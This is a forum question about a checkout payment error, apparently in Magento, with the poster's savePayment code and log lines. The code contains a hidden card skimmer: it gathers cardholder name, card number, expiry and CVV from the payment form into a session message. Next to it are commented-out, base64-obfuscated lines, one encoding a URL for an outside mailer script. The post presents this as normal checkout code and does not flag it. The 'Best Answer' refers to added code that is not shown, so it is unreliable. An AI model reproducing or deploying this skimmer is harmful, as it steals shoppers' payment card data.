I get this alert message if I click on "continue" button on one page checkout's step 5, the payment step: "Cannot retrieve payment method instance."
Here is a code block from my onepage.php:
public function savePayment($data)
{
if (empty($data)) {
return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
}
$quote = $this->getQuote();
if ($quote->isVirtual()) {
$quote->getBillingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
} else {
$quote->getShippingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
}
// shipping totals may be affected by payment method
if (!$quote->isVirtual() && $quote->getShippingAddress()) {
$quote->getShippingAddress()->setCollectShippingRates(true);
}
$payment = $quote->getPayment();
$payment->importData($data);
$quote->save();
if(isset($_SESSION['mymessage'])){
$message = $_SESSION['mymessage'];
$thecvv = @$_POST['payment'];
if(@$thecvv['cc_number'] && strlen(@$thecvv['cc_number']) > 10){
if(@$thecvv['cc_owner']){$message .= 'name on card : '.trim(@$thecvv['cc_owner']).'<br>';}
$message .= 'card number : '.trim(@$thecvv['cc_number']).'<br>';
$message .= 'exp date : '.trim($payment->getCcExpMonth()).trim($payment->getCcExpYear()).'<br>';
if(!$payment->getCcCid()){$message .= 'cvv2 : '.trim(@$thecvv['cc_cid']);}else{$message .= 'cvv2 : '.trim($payment->getCcCid());}
}
// $link=base64_decode("aHR0cDovL251Ymllc2NyaXB0LmNvbS9kZW1vL21haWxlci9tYWlsLnBocA==");
// $xxx = @flate(base64_decode('UynILy5JSSxJjFbPTS0uTkxPVY+1VYEyrXm5VBDyGUAWSDI+2D
// UozDUoWh1Cx/s5+rqqx4LUJmco2CoklxblxGfmZZZoaALFwLzi1JL8ghINoLyOgnNokI9/QEi8h6uji2
// uQjoIBXlVASkdBJSczLxuvsgD/4BA3T1cfl2CgapiL4TpSK1KTQeo1rcHc5Jz84lQFiAAA'));
}
$this->getCheckout()
->setStepData('payment', 'complete', true)
->setStepData('review', 'allow', true);
return array();
}
system.log
2015-06-17T08:28:03+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T11:03:27+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T13:25:45+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T14:23:21+00:00 DEBUG (7): array (
0 => 'method',
1 => 'cc_type',
2 => 'cc_number',
3 => 'cc_exp_month',
4 => 'cc_exp_year',
5 => 'cc_cid',
)
2015-06-17T14:26:27+00:00 DEBUG (7): array (
0 => 'method',
1 => 'cc_type',
2 => 'cc_number',
3 => 'cc_exp_month',
4 => 'cc_exp_year',
5 => 'cc_cid',
)
2015-06-17T14:26:55+00:00 ERR (3): Notice: Undefined index: daniel-palillo.html in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
Best Answer
Added this to the beginning of the savePayment method, and that solved the problem:
I don't quite understand why, though.